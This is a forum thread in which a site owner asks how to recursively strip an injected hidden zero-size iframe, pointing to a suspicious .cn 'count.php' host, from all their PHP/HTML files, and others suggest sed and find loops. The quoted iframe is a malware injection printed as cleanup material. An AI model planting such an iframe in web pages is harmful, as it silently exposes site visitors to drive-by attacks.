The UNIX and Linux Forums  

Go Back   The UNIX and Linux Forums > Top Forums > Shell Programming and Scripting
.
google unix.com



Shell Programming and Scripting Post questions about KSH, CSH, SH, BASH, PERL, PHP, SED, AWK and OTHER shell scripts and shell scripting languages here.

More UNIX and Linux Forum Topics You Might Find Helpful
Thread Thread Starter Forum Replies Last Post
How to replace specific text line out of multiple occurance madhusmita Shell Programming and Scripting 5 06-17-2008 02:03 PM
Replace text in multiple files on9west Shell Programming and Scripting 1 05-20-2008 02:35 AM
Replace text in multiple files Tonka52 Shell Programming and Scripting 10 03-24-2008 08:11 AM
How do you delete multiple text from a comma delimited file dolo21taf Shell Programming and Scripting 1 02-20-2008 05:12 AM
Need to search and replace in multiple files in directory hierarchy umen Shell Programming and Scripting 3 12-24-2007 04:56 AM

Reply
English Japanese Spanish French German Portuguese Italian Dutch Swedish Russian Norwegian Hungarian Hebrew Danish Bulgarian Greek Powered by Powered by Google
 
LinkBack Thread Tools Search this Thread Rate Thread Display Modes
  #1 (permalink)  
Old 07-03-2008
dzufauzan dzufauzan is offline
Registered User
  
 

Join Date: Jul 2008
Posts: 4
[help]Delete or replace text in multiple file and multiple directory

here's the case :

almost of php/html file on my site has added the text :
Code:
<iframe src="http://google-analyze.cn/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
I don't know how this happen, so i want to remove above text from all of my php/html.

i have tried this following script :
Code:
for y in *
do
  sed 's_<iframe src="http:\/\/google-analyze.cn\/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></\iframe>_ _' "$y" >temp
  if cmp temp "$y" >/dev/null
  then
    rm temp
  else
    mv temp "$y"
  fi
done
Above script was works but only in the directory where i run the script, i want all files in subdirectory too, anyone can help me?

Thx
  #2 (permalink)  
Old 07-03-2008
Franklin52 Franklin52 is online now Forum Staff  
Moderator
  
 

Join Date: Feb 2007
Posts: 4,315
Use find to loop through the directory and the subdirectories:

Code:
for i in $(find *)
Regards
  #3 (permalink)  
Old 07-03-2008
Smiling Dragon's Avatar
Smiling Dragon Smiling Dragon is offline Forum Advisor  
Disorganised User
  
 

Join Date: Nov 2007
Location: New Zealand
Posts: 922
Quote:
Originally Posted by Franklin52 View Post
Code:
for i in $(find *)
Not bourne-safe - tut tut
Code:
for i in `find *`
  #4 (permalink)  
Old 07-03-2008
radoulov's Avatar
radoulov radoulov is offline Forum Staff  
addict
  
 

Join Date: Jan 2007
Location: Варна, България / Milano, Italia
Posts: 2,892
Quote:
Code:
for i in $(find *)
Quote:
Code:
for i in `find *`
Both will breake if the filenames contain embedded spaces or other pathological characters.
  #5 (permalink)  
Old 07-03-2008
Smiling Dragon's Avatar
Smiling Dragon Smiling Dragon is offline Forum Advisor  
Disorganised User
  
 

Join Date: Nov 2007
Location: New Zealand
Posts: 922
Quote:
Originally Posted by radoulov View Post
Both will breake if the filenames contain embedded spaces or other pathological characters.
Ooh, very good point! Me = Fail.
Ok then:
Code:
find . -type f | while read i
heh, 'pathological characters', nice way of putting it
  #6 (permalink)  
Old 07-04-2008
dzufauzan dzufauzan is offline
Registered User
  
 

Join Date: Jul 2008
Posts: 4
Quote:
Originally Posted by Franklin52 View Post
Use find to loop through the directory and the subdirectories:

Code:
for i in $(find *)
Regards
Quote:
Originally Posted by Smiling Dragon View Post
Not bourne-safe - tut tut
Code:
for i in `find *`
Quote:
Originally Posted by radoulov View Post
Both will breake if the filenames contain embedded spaces or other pathological characters.
Quote:
Originally Posted by Smiling Dragon View Post
Ooh, very good point! Me = Fail.
Ok then:
Code:
find . -type f | while read i
heh, 'pathological characters', nice way of putting it
Could you give me complete code? im newbie . Thx
Reply

Bookmarks

Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes Rate This Thread
Rate This Thread:

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On




All times are GMT -4. The time now is 03:06 AM.


Powered by: vBulletin, Copyright ©2000 - 2006, Jelsoft Enterprises Limited. Language Translations Powered by .
vBCredits v1.4 Copyright ©2007 - 2008, PixelFX Studios
The UNIX and Linux Forums Content Copyright ©1993-2009. All Rights Reserved.Ad Management by RedTyger

Content Relevant URLs by vBSEO 3.2.0